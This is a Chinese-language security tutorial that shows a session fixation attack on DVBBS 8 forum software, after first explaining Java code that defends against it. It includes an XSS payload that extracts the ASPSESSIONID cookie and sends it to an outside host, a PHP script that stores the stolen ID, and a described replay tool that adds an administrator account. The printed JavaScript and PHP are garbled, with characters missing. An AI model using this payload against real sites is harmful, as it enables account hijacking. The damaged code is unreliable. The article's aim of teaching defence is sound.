Session Fixation 攻防實戰(zhàn)（圖）

最近筆者在網(wǎng)上看到一個新文章《JSESSIONID Regeneration in Struts 2》，講的是一段代碼，在STRUTS 2框架中，防御Session Fixation攻擊。筆者比較老土，看不懂英文，還好能看懂代碼，發(fā)現(xiàn)這是一種平時開發(fā)中(至少自己是這樣)，從來沒注意過的攻擊。關于這種攻擊，刺在 自己博客上寫了篇文章《關于Session Fixation》。我在郵件列表，和文章后面跟帖討論了下，但是仍然感覺自己說的不是很清晰，畢竟沒有實戰(zhàn)，所以實踐了一下自己的想法，重新寫篇文章補 充下。注：為了保證質(zhì)量，本文假設讀者對cookie和session基本概念和特性已經(jīng)掌握。
作者是從防御代碼中，發(fā)現(xiàn)這種攻擊的存在，所以，我們先看防御的代碼：
Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
if(userid.equals("admin") && password.equals("admin")) {
request.getSession().invalidate();
HttpSession session = request.getSession(true);
session.setAttribute("AUTHENTICATED", new Boolean(true));
response.sendRedirect("PageRequiringAuthentication.jsp");
//Additional Code Would Normally Follow
這是一個很常見的登錄過程，首先驗證用戶名密碼是否正確，正確后，干掉當前session。然后重新獲取一個新session，繼續(xù)執(zhí)行賦予 用戶管理權限。關鍵就是，這段代碼干掉了當前的session。當服務器和客戶端之間的session銷毀時，因為客戶端仍然向服務器發(fā)送數(shù)據(jù)，所以服務 器會自動的新生成一個session。為什么以前的session不能用呢？
在作者剛看到郵件的時候，一直看不明白，因為站在程序員的角度，作者不知道為啥非要讓session銷毀了。如果不消毀session，程序 一樣正確執(zhí)行，攻擊者不知道管理員密碼，一樣進不來。如果這個人知道管理員密碼，那么對于程序本身來說，這個人就已經(jīng)是一個程序所期望的管理員了。但是換 個角度想一下，管理員在管理網(wǎng)站的時候，通常都做些什么？在管理員登陸前，他還只是一個普通的瀏覽者，會去瀏覽一些公開頁面，他可能在哪里發(fā)現(xiàn)了問題，需 要進后臺處理一下，于是他就登錄了。就在這個很普通的過程中，如果程序沒有在認證成功后，銷毀session，則管理員在登錄前和登錄后，session 是同一個。假設我們能夠在前臺，使用了XSS一類手段，獲得了這個session，等他一旦登錄，就“野雞變鳳凰”了。
在以往的XSS攻擊、CSRF攻擊中，我們總是把目光放在管理員登陸后，XSS他、CSRF他。都沒有想過，如果管理員登陸后，不瀏覽XSS 頁面，怎么攻擊？看到這段防御代碼，作者突然想到了一種攻擊手段，只要管理員曾經(jīng)瀏覽過XSS頁面（這時候只是普通用戶），就能在他登錄后，即使不再瀏覽 XSS頁面，也能攻擊到。
為了詳細的描述和重現(xiàn)這種攻擊方式，作者特意下載了動網(wǎng)BBS 8最新版本。首先做兩個實驗，來驗證動網(wǎng)是否存在這個漏洞：
1、在登錄前，查看自己的SESSIONID，管理員前臺登錄后，再查看SESSIONID，登錄后臺，再查看。發(fā)現(xiàn)這個值沒有變動。就是說動網(wǎng)存在這個漏洞，登錄前后，SESSIONID沒有變。
2、為了保證實驗成功，需要知道動網(wǎng)的后臺是否僅僅通過SESSION來驗證身份。登錄后，抓包。修改包中的信息，修改username，提 交，返回數(shù)據(jù)表明可以同過。再修改SESSIONID，卻出現(xiàn)“本頁面為管理員專。。。”字樣，沒有通過認證。這說明動網(wǎng)后臺是僅僅通過session驗 證的，而不是cookie。
證明了這個漏洞的存在，下面就利用這個漏洞，攻擊登錄前的管理員。動網(wǎng)論壇的用戶身份模式，可以很好的詮釋這種攻擊，用過動網(wǎng)的讀者都知道， 瀏覽動網(wǎng)的用戶分為以下幾種級別：“未注冊用戶”、“注冊用戶”、“前臺管理員”、“后臺管理員”。我們先架設好攻擊環(huán)境，之后讓一個未登陸的管理員，瀏 覽論壇的XSS頁面，之后登錄到后臺。
總體來看，利用這樣的漏洞，需要以下一些東西：
1、a.php，一個腳本，用來接收XSS頁面?zhèn)鱽淼腟ESSIONID，然后保存在haha.txt，可以放在任何一個支持php的空間里。
2、go.py，沒隔5秒，請求一次haha.txt，獲得SESSIONID值。之后把獲得的SESSIONID值放入請求的COOKIE中，請求后臺頁面的“添加管理員功能”。
3、一個前臺的XSS漏洞，這個漏洞我們自己可以構造出來。
作者為了僅僅說明這個問題，而不是大量的制造攻擊，所以單獨為動網(wǎng)寫了個對應的腳本，go.py這個腳本，請求了動網(wǎng)后臺的“添加管理員功 能”。他會一直去請求，不管管理員有沒有登錄，在登錄前，會收到“本頁面為管理員專。。。”字樣。但是管理員一旦登錄，就會請求成功這個功能。
下圖可以說明這次模擬實驗：
cs.xzking.com/d/file/20150130/219bb184f0876608166fd4b7fbffb86d.jpg' />
第一步。首先架設好輔助攻擊的服務器，服務器中有兩個文件，一個是a.php。這個文件用來接收XSS發(fā)來的SESSIONID信息，然后保存為haha.txt。
第二步。執(zhí)行go.py。這個文件會每隔5秒，請求一次haha.txt，讀取其中的數(shù)據(jù)，解析為對應的SESSIONID，把SESSIONID放在發(fā)動包的COOKIE中，之后請求一次“添加管理員”這個功能。
管理員登錄后臺之后，SESSIONID就會成為了一個可以通過論壇驗證的SESSIONID，這時候的請求會成為合法請求，登錄之前的請 求，全都是垃圾數(shù)據(jù)。在整個過程中，我們要求管理員在登錄前瀏覽一次XSS頁面，然后登陸。登錄后，大概15秒的時候，就可以退出了。這點時間，我們的攻 擊，已經(jīng)成功。
請注意，這次攻擊的演示中，重點不是動網(wǎng)出現(xiàn)了XSS漏洞，而是Session Fixation，所以我們在前臺假設他出現(xiàn)了XSS漏洞。制造這個漏洞很簡單，論壇后臺有個給版面加“本版版規(guī)”的功能，支持HTML。把XSS的內(nèi)容放這里：
Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->script>url0="";url1="";cv=document.cookie.split("; ");for(i=0; icv.length; i ){ cvv=cv.split("=");if(cvv[0].indexOf("ASPSESSIONID")>-1){ cvtmp=cv;cvvtmp=cvtmp.split("=");url0=cvvtmp[0];url1=cvvtmp[1]; } };function f(){ ifm=document.createElement("IFRAME");document.body.appendChild(ifm);ifm.src="http://safe.it168.com/a.php?id=" url0 "&value=" url1; }setTimeout(f,"1000");script>
用于提交SESSIONID到a.php。下面是一個COOKIE的內(nèi)容：

請注意圖片中的“ASPSESSIONIDASQCSSRT=PIMHLBHCDAPCDLMNLFBGHCIB”這部分，這里就是一個 SESSIONID和它的值。不僅僅是每次新的SESSIONID的值不一樣，“ASPSESSIONIDASQCSSRT”這個KEY的名字，也是不同 名稱的。但是他逃脫不了一種模式，就是SESSIONID的名字，改來改去，總要讓服務器認識。結合幾次抓包內(nèi)容，發(fā)現(xiàn)，這個字符串沒有固定的名稱，也沒 有固定的值，但是他總是以“ASPSESSIONID”開頭。所以才會有了這段生澀難解的XSS代碼。
php代碼，用于接收提交過來的SESSIONID，保存：
Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->?php
$fp = fopen("haha.txt","wb");
fwrite($fp,$_GET["id].",".$_GET["value],strlen($_GET["id].",".$_GET["value]));
fclose($fp);
?>
下面先執(zhí)行go.py。
可以看到代碼一直在執(zhí)行“添加管理員這個過程”，并且一直不能通過驗證。
現(xiàn)在先瀏覽下XSS頁面，查看那個有XSS的版面。先讓程序獲得SESSIONID，注意，還沒有登錄。

和前次不同的是，我們獲取了sessionid。但是這個SESSIONID還沒有通過驗證，管理員還沒有登錄。之后使用管理員登錄后臺。

這張圖，出現(xiàn)了提示信息“您輸入的用戶名已經(jīng)在管理用戶中存在!”，說明已經(jīng)可以通過驗證了，攻擊成功。
可能有很多讀者在本次攻擊過程中想到了SESSION IE這個工具，該工具也可以獲得管理員的SESSIONID，并且通過不斷的訪問，維持這個SESSIONID不被銷毀。與之區(qū)別的是，如果管理員登錄 后，自己點了“退出”。那么這個維持中SESSIONID就沒用了，除非你能在他沒點退出之間，做了添加管理員操作，期待該工具更新本文所提功能。而這次 的攻擊過程中，即使管理員退出了，我們攻擊也早就在管理員登陸的那一剎那間，攻擊成功。Session Fixation最大的威脅，就是在登錄前的XSS能一直威脅到了管理員登錄，即使管理員登錄后不再訪問XSS頁面，也不影響攻擊效果。
工具go.py在這里提供下載，但是注意一點，這個工具，不是一個多線程的。實驗的時候可以用，如果用于做壞事，除非修改它的代碼，否則每一 個看到XSS頁面的人，都會提交SESSIONID上去，導致攻擊失敗。為了網(wǎng)絡和諧，作者就不提供真正用于攻擊的代碼了，大家回去后自己研究